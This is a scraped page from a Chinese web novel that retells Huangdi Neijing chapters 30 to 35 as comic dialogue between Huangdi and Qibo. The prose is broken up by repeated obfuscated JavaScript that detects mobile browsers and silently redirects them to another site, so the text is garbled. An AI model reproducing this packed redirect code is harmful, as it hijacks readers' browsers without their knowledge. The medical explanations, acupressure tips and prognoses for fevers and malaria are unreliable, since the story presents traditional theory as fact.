RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318168|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢，胃大爷虽然慷慨，但它那些营养丰富的‘能量包’并不能直接送到四肢手上，得经过咱们脾大人的中转站，经过一番精心调配，才能变成四肢易于吸收利用的‘小零食’。换句话说，脾大人就是四肢的营养快递员，缺了它可不行。” “可您想啊，要是脾大人自己身子骨不硬朗，病恹恹的，那还怎么有力气给胃大爷打工，帮它把营养品打包送到四肢手上呢？这样一来，四肢可就惨了，它们得不到足够的‘加油包’，日子一长，就像是手机没电了，还怎么指望它们活蹦乱跳呢？”岐伯说到这里，故意停顿了一下，观察着皇帝陛下的反应。 皇帝陛下听得津津有味，忍不住催促道：“然后呢？然后呢？继续说，朕听着呢！” 岐伯哈哈一笑，继续他的“健康脱口秀”：“所以啊，当脾大人生病的时候，它就没法正常工作了，原本应该畅通无阻的营养输送线，现在就变成了堵车现场。这样一来，四肢得不到足够的营养和水分，就像是花儿离开了雨露滋润，慢慢地就失去了活力。气血运行不畅，经脉就像是被堵住的河流，水流不起来，自然也就带不动身体的各个部件了。” “再具体点说，筋骨肌肉这些个‘建筑材料’，它们可都是靠气血来滋养的。气血充足，它们就强壮有力；气血不足，它们就软绵绵的，提不起劲。现在脾大人一罢工，气血供应不上，这些个‘建筑材料’就失去了支撑，四肢自然也就动弹不得了。这就好比是建筑工地上的工人，如果材料供应不上，他们还能怎么建房子呢？” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 阳明脉解篇第三十 黄帝老兄有一天突然来了兴致，问岐伯大夫说：“嘿，岐伯啊，你说说看，那足阳明胃经要是闹别扭了，病人怎么就怕见人和火呢？更奇的是，一听到木头嘎吱嘎吱的声音，就吓得跟见了鬼似的，钟鼓那么响都不带眨眼的，偏偏木头声能让他心惊胆战，这是咋回事儿啊？你给咱好好说道说道。” 岐伯一听，微微一笑，那笑容里透着股子学者的淡定：“黄帝陛下，您问得好啊！这足阳明，它可是胃的经脉，胃在五行里头属土嘛。您想啊，土嘛，天生就怕木来克它，所以一听那木头声，就像是土遇到了天敌，自然心里就发怵了。” 黄帝一听，点了点头，赞道：“有道理，有理有据，那继续说说，为啥这病还怕火呢？” 岐伯捋了捋胡子，解释道：“陛下，足阳明主掌的是咱们身上的肉嘛，这经脉里血气要是旺盛了，外来的邪气就容易趁机而入，一闹腾起来就发热，热得厉害了，那当然就怕火上加火了，跟夏天晒得跟烤红薯似的，谁还想再往火堆旁凑呢？” 黄帝哈哈大笑：“妙哉！那为啥病人还怕人呢？” 岐伯接着说：“这个嘛，就得说到胃经厥逆的时候了。胃经一厥逆，人就容易喘，心里还憋屈得慌，憋屈到一定程度，看到人就烦，自然就‘恶人’了。这就像是肚子饿到极限，看到啥都像是来抢饭的，能不恼嘛！” 黄帝眉头一挑：“有意思，那为啥有的喘着喘着就死了，有的却能缓过来呢？” 岐伯认真起来：“这得看厥逆的程度了。要是厥逆得厉害，影响到内脏了，那就是大问题了，连根都动摇了，能不死吗？但如果只是连累了经络，那还算有救，经络嘛，就像是交通线，堵了还能疏通，不至于一下子全乱套。” 黄帝点头表示赞同，接着又抛出一个难题：“还有个更奇的，有的病人病重了，竟然会脱衣服乱跑，还爬到高处唱歌，几天不吃饭都不带饿的，甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318169|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至能翻墙上屋，这些平时根本干不了的事儿，现在跟玩儿似的，这是咋回事？” 岐伯笑了笑，解释道：“您知道吧，四肢可是阳气的大本营。这阳气一旺盛，四肢就有了劲儿，平时上不去的房顶，这时候也能如履平地了。至于脱衣服乱跑，那是因为体内热得跟火炉似的，穿着衣服反而不自在，恨不得裸奔散热呢！” 黄帝笑得前俯后仰：“哈哈，这解释绝了！那他们为啥还胡说八道，骂骂咧咧，连亲爹亲妈都不认，见谁唱谁，跟吃了豹子胆似的？” 岐伯收起笑容，认真地说：“这就是阳气过盛闹的。阳气太旺了，人就容易失去理智，说话不经大脑，啥话都往外蹦，也不管对面是谁。而且啊，热得吃不下饭，肚子空空的，体力又充沛，自然就到处乱窜，找乐子去了。” 黄帝听完，感慨万分：“岐伯啊，你这医术不仅高明，解释起病情来也是妙趣横生，让人听了既长知识又乐呵。” 热论篇第三十一 黄帝挠了挠头，一脸好奇地问岐伯：“哎，老岐啊，你说这热病，咋感觉跟伤寒那帮家伙脱不了干系呢？有的人得了这病，嘿，没几天就活蹦乱跳了；可有的人呢，偏偏就在那么六七天的时候，跟咱们说拜拜了。而那些康复的，又总爱在十天半个月后慢悠悠地好起来，你说这到底是为啥呢？我这心里头啊，跟猫抓似的，不解风情啊，你得给我说道说道。” 岐伯一听，捋了捋胡子，笑眯眯地回答道：“哈哈，黄帝大人，您这求知欲，真是比夏日的阳光还热烈啊！来，听我慢慢给您掰扯掰扯。您知道吗？咱们身体里有个大佬，叫巨阳，它可是阳气界的扛把子，手下小弟众多，都归它管。这巨阳的经脉啊，直通咱们的‘风府’——您想象成是脑袋上的通风口吧，专门负责给全身阳气打气的。所以，巨阳这家伙，在咱们体内那是相当有地位的，主导着一身阳气的流转。” “现在咱们说说这伤寒，其实就是寒气这家伙趁咱们不注意，偷偷溜进身体里搞破坏。一开始呢，它可能只是小打小闹，让咱们身体发热，跟发烧似的。但您别怕，只要咱们正气足，这点热乎劲儿还不足以要咱们的命。就像冬天里的一把火，虽然暖和，但不至于把房子烧了。” “可要是情况不妙，寒气这家伙不仅自个儿来，还拉上了它的好哥们儿——风邪、湿邪什么的，一起来凑热闹，这就叫‘两感于寒’。这下子可热闹了，咱们身体里的正气就跟开了锅似的，乱成一团。巨阳大佬再能耐，也架不住这么群狼环伺啊。正气一败涂地，身体自然就扛不住了，也就难免要走上那条不归路了。” 黄帝听了，若有所思地点点头：“哦~原来如此，这伤寒还玩起了团伙作案啊！那咱们怎么预防呢？” 岐伯笑道：“预防嘛，关键还是得靠咱们自己。首先，得穿暖和点，别让寒气有机可乘；其次，多锻炼，增强体质，让正气满满当当的；再者，饮食也得注意，别吃那些生冷寒凉的东西，伤了脾胃，正气可就弱了。还有啊，心情也得舒畅，别整天愁眉苦脸的，负面情绪也是寒气的帮凶哦！” 黄帝一听，连连点头：“对对对，老岐你说的太对了！咱们得把这些知识普及给大伙儿，让大家都能远离伤寒，健健康康的！” 黄帝又说了：“老岐，还得麻烦你把这伤寒的来龙去脉详细地说一下！” 岐伯：皇上您这可是问对人了，咱们这中医的博大精深，听我岐伯给您细细道来。话说啊，这伤寒病一来，那可不是闹着玩的，它得一步步地，跟咱们身体里的“卫兵”们挨个打招呼，咱们就从头开始聊起吧。 第一天，嘿，伤寒这家伙直接冲向了咱们身体的第一道防线——巨阳经，也就是太阳经。您想啊，太阳经多重要，它管着头和脖子这一片儿。所以，一受邪，头啊项啊就开始疼，跟被孙悟空的金箍棒敲了似的。腰和背也跟着起哄，硬邦邦的，跟背了块石头似的。这时候啊，就得赶紧想办法把这“外敌”给赶出去，不然，嘿，有的你受的。 到了第二天，伤寒这家伙也不闲着，它又溜达到了阳明经的地盘。阳明经啊，那可是个管肉的，您身上的肉啊，都归它管。而且，阳明经的经络还特爱串门，穿过鼻子，绕过眼睛，所以，这一受邪，您就感觉全身发热，眼睛疼得像进了沙子，鼻子干得能喷火，晚上躺在床上，翻来覆去跟烙饼似的，就是睡不着。这时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318170|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，咱们得想办法给身体降降温，润润燥，不然，这日子可咋过？ 第三天，少阳经也遭殃了。少阳经啊，跟咱们的胆是铁哥们儿，它俩的经络啊，绕着胸胁走，还跟耳朵有联系。这一受邪，胸胁就疼得跟针扎似的，耳朵也嗡嗡响，跟隔了层膜似的听不清。不过啊，好在这时候，三阳经的病邪都还在外面溜达，没往咱们的五脏六腑里钻，所以，咱们还有机会通过发汗这种“排毒大法”把它们赶出去。 接下来几天，可就没那么轻松了。第四天，太阴经接过了“接力棒”。太阴经的经络啊，跟胃关系紧密，还跟喉咙有联系。这一受邪，肚子就开始鼓胀，跟装了个小皮球似的，喉咙也干得跟沙漠一样。哎呀，这时候啊，吃饭都不香了，喝水都觉得费劲。 第五天，少阴经也遭了秧。少阴经啊，它跟肾和肺关系好，还跟舌头有牵连。这一受邪，嘴巴就干得能养鱼，舌头干得跟树皮似的，渴得要命。这时候啊，得赶紧想办法滋阴润燥，不然，这身体可就要“干涸”了。 第六天，厥阴经也没能幸免。厥阴经啊，它围着咱们的“小秘密”转，还跟肝有联系。这一受邪啊，人就感觉烦躁不安，连那“小秘密”都跟着缩了起来，跟怕冷似的。这时候啊，得赶紧疏肝解郁，让身体重新找回平衡。 您看啊，这伤寒病啊，它就是这么一步步地侵蚀咱们的身体。不过啊，也不用太担心，只要咱们及时发现、及时治疗，还是有很大机会把它赶出去的。就像打游戏一样，虽然敌人一波接一波地来，但咱们只要操作得当、策略对路，还是能够赢得胜利的。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 刺热篇第三十二 说起这肝热病啊，简直就像是身体里住了个小火炉，一不小心就“热情”过了头。想象一下，你早上起床，本想来个清爽的早晨，结果一瞅那小便，嘿，比秋天的银杏叶还黄！这可不是什么好事儿，告诉你，这是肝在向你发出“过热”警告呢。接着，肚子开始跟你闹别扭，隐隐作痛，搞得你只想躺着，跟沙发来个深情拥抱，压根不想动弹。身体呢，热得像刚出炉的烤红薯，热气腾腾，仿佛能煮熟一壶水。 更绝的是，这肝热一“上头”，整个人都变了样。原本温文尔雅的你，突然变得爱说胡话，一惊一乍的，跟演恐怖片似的。两胁之间，那是说不出的胀痛，好像被谁偷偷塞了两块大石头。手脚也不老实了，总想动来动去，找个凉快地儿，结果床上滚来滚去，愣是找不到个舒服的姿势。这时候啊，你要是碰到庚日辛日，那可是“火上浇油”，症状加倍；但到了甲乙日，嘿，仿佛老天开恩，给你来场大汗淋漓的洗礼，虽然过程辛苦，但好歹能缓解一下这“热情”的煎熬。不过，要是这热气逆着经脉乱窜，到了庚辛日还没消停，那可就要小心了，因为这可能是身体在告诉你：“嘿，哥们儿/姐们儿，再不悠着点，我可就真要罢工了！” 治疗这肝热病啊，中医有妙招，直接“对症下药”，刺激足厥阴肝经和足少阳胆经，就像是给身体里的“小火炉”开了扇窗，让多余的“热情”有个出路，慢慢恢复平衡。 再来说说心热病，这家伙可比肝热病更会玩“心理战”。一开始，你可能只是觉得心情有点低落，像是被阴天笼罩，连续几天都不见阳光。结果，突然有一天，这心情低落就变成了身体发热，热得你猝不及防。这时候，最要命的是心脏也跟着凑热闹，突然就疼得你直皱眉，那感觉就像是有人在你胸口放了个小火苗，还时不时添点柴火。烦闷、想吐、头痛、脸红，这些症状接踵而至，就像是开了一场“身体不适大派对”。最尴尬的是，你还可能变成“无汗星人”，明明热得不行，愣是一滴汗都不出，就像是被施了魔法一样。 遇到壬癸日，这心热病就像是找到了“同伙”，症状更加嚣张；但到了丙丁日，嘿，又是老天开恩，一场大汗下来，虽然过程艰辛，但好歹能暂时缓解这“心头之火”。不过，和肝热病一样，如果这热气逆着走，到了壬癸日还没消停，那可真就是“心灰意冷”的前兆了。 治疗心热病，中医依然有妙招，这次轮到手少阴心经和手太阳小肠经来“救场”。通过针灸这些穴位，就像是给心灵来了一场温柔的抚慰，让那股子“热情”慢慢消散，回归宁静。 咱们先来聊聊这脾热病的“精彩演出”。 想象一下，你正悠哉游哉地过着小日子，突然有一天，感觉脑袋上像是顶了个千斤顶，沉甸甸的，头重得跟戴了顶铁帽子似的。接着，脸颊两侧开始隐隐作痛，仿佛有人在你脸上偷偷捏了两把，还捏得不轻。心里头也开始烦躁起来，就像有只小猫不停地在挠你的心尖，让你坐立不安。再一看镜子，妈呀，脸色都青了，不知道的还以为你刚跟谁大战了三百回合呢。更糟的是，这股子“热情”还让你时不时想吐，身体热得像被火烤，简直是“热情似火”，却让人避之不及。 如果说这只是开胃小菜，那接下来的可就是“大餐”了。脾热这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318171|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家伙一“热”起来，腰也跟着受罪，疼得你直不起腰，弯不下背，走路都得像个螃蟹一样，横着走。肚子呢，胀得跟个鼓似的，还时不时来场“即兴腹泻”，简直是“热情”到让人拉肚子。更别提那两颊，疼得像被人揍了一顿，肿得跟包子似的。说到这，你还得注意时间哦，要是碰上甲乙日（古代用天干地支记日），这症状能加剧到让你怀疑人生。不过别担心，戊己日（土日，脾属土）的时候，你可能会出一身大汗，虽然狼狈，但也是身体在努力自我调节呢。但如果这时候气不顺，那甲乙日可真就成了“危险日”了，得赶紧找大夫瞧瞧。 治疗这脾热病，咱们老祖宗有招儿，那就是针灸大法。对准足太阴脾经和足阳明胃经上的穴位下针，就像给身体里的“热情”开个闸，让多余的“热情”流走，身体自然就舒服多了。 接下来，咱们再聊聊这肺热病的“热情表现”。这肺热啊，一上来就先给你来个“惊喜”——突然感觉身体一紧，汗毛竖起，仿佛有股寒气从脚底直窜天灵盖，但实际上呢，这是内热外寒的假象。再看看舌头，嘿，都黄得跟秋天的落叶一样了，身体也是热得跟个小火炉似的。 到了“热情”的高潮部分，肺热就开始在你身体里“大闹天宫”了。先是喘得跟拉风箱似的，咳嗽不断，那声音大得邻居都能听见。更绝的是，这痛感还会“游走”，从胸口跑到背部，再到胸膺，让你连深呼吸都不敢，生怕一吸气就疼得要命。头疼起来更是要人命，感觉整个脑袋都要炸开了，汗水淋漓却还觉得冷飕飕的，这滋味，简直了！ 这章没有结束，请点击下一页继续阅读！ 评热病论篇第三十三 黄帝眉头紧锁，一脸认真地问岐伯老师：“嘿，老岐啊，你说这有人得了温病，出了汗咋还接着发烧，脉搏跳得跟打鼓似的，一点不减缓，还满嘴胡话吃不下饭，这到底是哪路神仙下凡折腾人啊？” 岐伯老师慢悠悠地捋了捋胡子，一脸高深莫测地说：“哎呀，这病啊，有个响亮的名字——阴阳交，听起来挺玄乎吧？其实就是身体里的正气和邪气打得不可开交，结果正气输了，人也就快凉了。” 黄帝一听，眼睛瞪圆了：“哦？愿闻其详！” 岐伯继续解释道：“你知道吗？咱们人出汗，那可是身体里的精华——粮食转化的能量在干活呢。平时要是出了汗，那说明身体里的正气把邪气赶跑了，应该是能吃能喝，精神倍儿爽。但这哥们儿出了汗还发烧，那就是邪气又卷土重来了，说明正气不够强。再看吃不下饭，那就是身体里的精华都被邪气耗得差不多了，连饭都不香了，这不是要凉的节奏嘛！” 黄帝点点头，若有所思：“原来如此，那还有啥说头？” 岐伯接着说：“《热论》那本书里早就说了，出汗了但脉搏还跳得跟要起飞似的，那就是凶兆啊。现在这脉象和出汗完全不对路，明显就是身体扛不住了，死神的脚步已经悄悄靠近了。再加上胡言乱语，那就是心神都被邪气搅乱了，彻底乱了套。这三条加起来，简直就是‘必死三连击’啊！” 黄帝一听，眉头皱得更紧了：“那还有啥病，也是出汗发热，但烦得要命，还解不了热的？” 岐伯微微一笑：“这个问题嘛，就是风邪和厥症联手搞的鬼，我们叫它‘风厥’。想象一下，太阳经就像是咱们身体的守门员，最先感受到外界的风吹草动。风邪一来，它就第一个遭殃。而少阴经呢，跟太阳经是铁哥们儿，一个表一个里，太阳经被欺负了，少阴经也坐不住，一热就跟着起哄，结果就厥了，整个人都不好了。” 黄帝说：“岐伯啊岐伯，这病要是来了，咱们怎么治它个服服帖帖呢？”岐伯一听，笑眯眯地捋了捋胡子，说：“陛下莫急，这病啊，得从里到外，双管齐下。咱们就来个‘表里夹击’，一边扎扎针，疏通经络，一边喝点我特制的‘神仙汤’，内外兼修，保准药到病除！” 黄帝一听，眼睛一亮：“嘿，你这招儿听起来挺玄乎啊！那要是得了‘劳风’这种病呢？听说这病可不简单。”岐伯点头，一本正经地解释道：“劳风嘛，它喜欢往肺里头钻，一旦得上了，人就变得怪怪的。你瞧，脖子硬得像跟木头，眼睛还爱往上翻，跟看天上有啥宝贝似的。吐出来的口水啊，跟鼻涕似的，黏糊糊的。最要命的是，还特别怕风，一吹就哆嗦，跟个小媳妇儿似的。” 黄帝听完，哈哈大笑：“这病症状还挺逗的，那咱们怎么治它？”岐伯神秘一笑：“治这劳风啊，得用‘以柔克刚’的法子，让它自个儿乖乖投降。具体怎么做呢？就是要让病人多躺躺，别老想着出去浪，得让身体里的正气，也就是咱们说的免疫力，去跟那劳风病毒打擂台。这过程嘛，就像给手机充电一样，得慢慢来。” “说到时间嘛，那得看病人的体质了。如果是身强力壮的小伙子，阳气足，三天就差不多了；要是中年大叔，身体机能稍微差点儿，得五天；至于那些体弱多病，阳气不旺的，哎，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318172|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就得耐心点，七天左右吧。这期间，要是病人能咳出那种青黄色的、跟脓似的鼻涕，还跟个小弹丸似的，从嘴里或者鼻子里喷出来，那可就大功告成了！为啥这么说呢？因为这标志着体内的邪气被排出来了，肺也就安全了。不然啊，那邪气要是赖在肺里不走，嘿，后果可就严重了，伤肺伤身，搞不好就得去见阎王了。” 说到这里，咱们不妨再聊聊这背后的医学道理。在古代啊，人们没有咱们现在这么先进的医疗设备，但他们通过长期的观察和实践，总结出了许多宝贵的经验。比如这“表里刺之”，其实就是针灸疗法的前身，通过刺激特定的穴位，来调整人体的气血运行，达到治病的目的。而“饮之服汤”，则是中药疗法的体现，利用草药的药性，来祛除体内的病邪，恢复身体的平衡。 说到穴位，虽然现在咱们用的名称跟古代可能有些不同，但原理是相通的。比如，治疗肺部疾病，咱们可能会用到“肺俞穴”、“列缺穴”等，这些穴位就像是身体里的开关，轻轻一按，就能激活身体自愈的力量。当然啦，这可不是随便按按就能好的，得由专业的中医大夫来操作，才能确保安全有效。 再回到劳风这个病吧，其实它跟咱们现代说的感冒、流感有点类似，都是由于外感风寒、邪气入侵导致的。只不过在古代，人们可能对这些疾病的认识还不够深入，所以给它取了个这么形象的名字——“劳风”。不过没关系，无论时代怎么变，中医的智慧和魅力始终如一。它教会我们如何与自然和谐相处，如何利用身体的内在力量来抵御外邪的侵扰。 这章没有结束，请点击下一页继续阅读！ 逆调论篇第三十四 黄帝大佬有一天突然发问，说：“哎，你们知道吗？咱们人类啊，身体通常是温温的，不会像火炉那样一直热得烫手。但为啥有时候人会感觉热得跟蒸笼似的，还烦躁得不行，心里跟塞了团火似的呢？” 岐伯捋了捋自己的胡须说道：咱们的身体啊，就像是自然界里的一个小宇宙，里面住着两位大佬——阴气和阳气。它们俩啊，就像是日与夜，光明与暗影，一年四季的冬与夏，互相依存，又互相制约，玩儿得那叫一个“平衡艺术”。当这二位大佬相处和谐时，咱们的身体就舒服得跟春天里的小猫咪一样，懒洋洋的，刚刚好。 但是呢，总有那么些时候，不是东风压倒西风，就是西风压倒东风。这次嘛，轮到阳气大佬“超常发挥”了。想象一下，夏天的正午，太阳火辣辣地晒着，天空中没有一片云彩愿意出来当和事佬，这下可好，整个世界都热得跟要爆炸似的。咱们身体里的阳气要是也这样“嚣张”起来，阴气老兄就有些力不从心了，结果嘛，自然就是咱们自己感觉热得跟刚出炉的馒头一样，心里还烦得跟被蜜蜂群围攻了似的，七上八下的。 那么，问题来了，遇到这种情况，咱们咋办呢？首先，咱们得学会给身体“降温”，当然不是直接跳到冰箱里那么粗暴。咱们可以从饮食上下手，吃点清凉的，比如西瓜、绿豆汤这些“天然空调”，给身体来点“小清新”。再配上点金银花、菊花茶这样的“降火神器”，帮助阴气大佬稍微找回点场子，让阳气大佬别那么嚣张。 其次，运动也是个好办法，不过得挑对时候和方式。大中午的去跑步？那简直是给阳气大佬加油助威呢！咱们得选在清晨或者傍晚，凉快的时候，慢悠悠地散个步，打个太极，或者是做做瑜伽，让身体里的气血顺畅流通，就像给河流开了几个闸口，水流就不那么容易泛滥成灾了。 再来，就是情绪管理了。心情烦躁的时候，不妨试试深呼吸，闭上眼，感受一下大自然的宁静。或者找个好朋友聊聊天，把心里的“火”说出来，有时候，倾诉就是最好的灭火器。还有啊，听点舒缓的音乐，看看风景，让心灵也来一场说走就走的旅行，远离那些让人烦躁的“小火苗”。 当然啦，咱们的身体里还有那么些神奇的穴位，就像是身体里的小开关，轻轻一按，就能带来意想不到的效果。比如“合谷穴”，就在咱们大拇指和食指之间的虎口位置，按一按，不仅能缓解头痛发热，还能提神醒脑，感觉整个人都清爽了不少。再比如“太冲穴”，在脚背上，经常按揉它，就像给心里的烦躁情绪开了个“出气口”，让人心情舒畅。 最后，别忘了，良好的作息习惯也是保持身体阴阳平衡的关键。早睡早起，让身体随着自然界的节奏起舞，这样，阳气和阴气两位大佬才能在咱们的身体里和谐共处，咱们也就不用时不时地变成“人肉蒸笼”啦！ 所以呀，黄帝大大，您这问题其实一点都不复杂，关键就在于咱们得学会倾听身体的声音，学会平衡阴阳，让自己成为自己最好的“调理师”。这样一来，无论外界如何“热浪滚滚”，咱们都能保持内心的“一片清凉”，活出咱们自己的“悠然自得”来！ 黄帝一听，若有所思地点点头，接着又问了个深奥的问题：“那我又不是穿着冰衣，体内也没直接吹进冷风，为啥有时候还会觉得从里到外透着一股寒气，好像刚从冰窟窿里捞出来似的？” 岐伯笑着解释道：“黄帝大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318173|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，您这问题问到点子上了！这啊，主要是因为有的人体内‘痹气’多，说白了就是气血不通畅，阳气少了，阴气就趁机占了上风。您想啊，冬天要是太阳不出来，是不是就冷得要命？一个道理嘛，阳气少了，身体自然就觉得冷飕飕的，好像泡在冷水里一样。” 黄帝听了，眼睛一亮，继续追问：“那还有一种情况，有人手脚热得跟小火炉似的，一遇到风啊寒啊，那热度简直能烤肉了，这又是咋回事呢？” 岐伯这次笑得更欢了：“黄帝大人，您真是观察入微啊！这种情况嘛，说明这个人啊，体内的阴气少得可怜，阳气却旺盛得不得了。您知道不，咱们的手脚可是阳气的聚集地，就像小太阳一样。现在这两个‘小太阳’碰一块儿了，再加上本来就缺的阴气，那就像是干旱的沙漠里突然燃起了大火，那点可怜的水汽哪够灭火啊？结果就是阳气独大，横行霸道了。” “这阳气独大可不是啥好事儿，它光顾着自己嗨了，忘了还得管管身体的生长和修复。所以啊，这人身体就容易出问题，比如皮肤啊、肌肉啊，都可能被这股过盛的阳气给‘烤’干了，变得干燥、脆弱。这就是为什么他们一遇到风，就像被火烤一样，其实是身体在警告他们，得赶紧调理调理，不然可就要‘肉干’啦！” 黄帝老兄又发问了，这回他好奇的是：“你说啊，有的人呢，身体冷得跟冰箱似的，你给他端上热汤、靠近火炉，愣是暖和不起来，裹上几层大棉袄，还是跟穿了透视装一样，没半点热气儿，但奇怪的是，他也不打哆嗦，不冻得跟筛糠似的。这到底是哪路神仙下的咒，还是啥奇奇怪怪的病呢？” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 疟论篇第三十五 黄帝有一天突发奇想，问岐伯大夫：“哎，老岐啊，你说这疟疾啊，好像都跟风脱不了干系，而且它发作起来还特有规律，这到底是咋回事儿呢？” 岐伯一听，笑眯眯地捋了捋胡子，开始了他的科普时间：“黄帝陛下，您听好了。这疟疾啊，一开始就像个小偷，悄悄从咱们的汗毛孔溜进来。您想啊，人要是突然感觉不对劲，伸个懒腰打个哈欠，那就是它动手脚的信号了。紧接着，您就会感觉浑身发冷，打哆嗦，下巴都跟着颤，腰啊背啊，那叫一个疼，跟被谁揍了一顿似的。不过别急，这冷劲儿一过，嘿，里面就开始烧起来了，头疼得像要裂开，渴得要命，只想喝冰的。” 黄帝一听，来了兴趣：“哟，这变化还挺快，到底是哪路神仙在幕后操纵啊？快给我说道说道。” 岐伯继续他的讲解，语气里带着几分幽默：“这可不是什么神仙打架，而是咱们身体里的阴阳两兄弟在闹别扭呢。您想啊，阳气和阴气，它们平时得和谐共处，但有时候呢，就会闹矛盾，一会儿你强我弱，一会儿我强你弱，这就叫‘阴阳上下交争，虚实更作’。比如说，阳气要是跑到阴气那边去了，阴气就壮大了，阳气就虚了。阳明经一虚，人就冻得直打颤，下巴也跟着哆嗦；巨阳经（咱们现在说的膀胱经）一虚，腰啊背啊头啊项啊，就跟着疼。要是三阳经都虚了，那阴气可就彻底占了上风，骨头里都透着寒气，疼起来要人命。这寒气啊，是从里面生出来的，所以外面里面都冷得要命。” “反过来呢，阳气要是太旺了，外面就热得跟火炉似的；阴气不足了，里面也跟着烧。这一内一外都热起来，人就喘得跟狗似的，渴得要命，只想喝冰水解渴。这一切啊，都是夏天惹的祸。那时候天气热得要命，咱们身体里的热气没地方去，就藏在皮肤和肠胃之间的缝隙里，那可是气血流动的好地方。这样一来，咱们的毛孔啊，腠理啊，就变得特别疏松，跟开了门似的。” “到了秋天，凉风一吹，或者洗个澡，水气趁机就钻进了皮肤里，和咱们的卫气（相当于身体的保安队）挤一块儿去了。这卫气啊，白天在体表巡逻，晚上就回到身体里面休息。这水气和卫气一碰上，白天就往外冲，晚上就往里挤，它们这么一闹腾，疟疾就跟着来了，每天定时定点地发作，跟上班打卡似的。” 黄帝听完，哈哈大笑：“老岐啊，你这解释真是通俗易懂，还带点幽默感，朕算是明白了。看来咱们得提醒大伙儿，夏天别光顾着贪凉，得注意保养身体，别让那些阴阳兄弟在家门口打架，更别让水气和卫气成了疟疾的帮凶。” 岐伯也笑了：“陛下所言极是。养生之道，重在平衡。夏天虽热，但也要避免过度贪凉，以免伤了阳气；秋天风起，更要注意保暖，别让寒气有机可乘。还有啊，平时多锻炼身体，增强体质，让阴阳两兄弟和睦相处，自然就能远离这些个头疼脑热的毛病了。” 黄帝问道：“老岐啊，为啥有的人生病是隔一天发一次呢？这背后有啥玄机不？” 岐伯老师微微一笑，那笑容里仿佛藏着千年的智慧，他悠悠地说：“黄帝大大，您这问题问得妙啊！这事儿啊，得从病气它的小窝说起。您想啊，这病气它找的地儿深，专往咱们身体的阴凉处钻，就像夏天找空调房一样。阳气呢，本想独自发威赶走病气，结果病气这家伙在内里牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318174|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 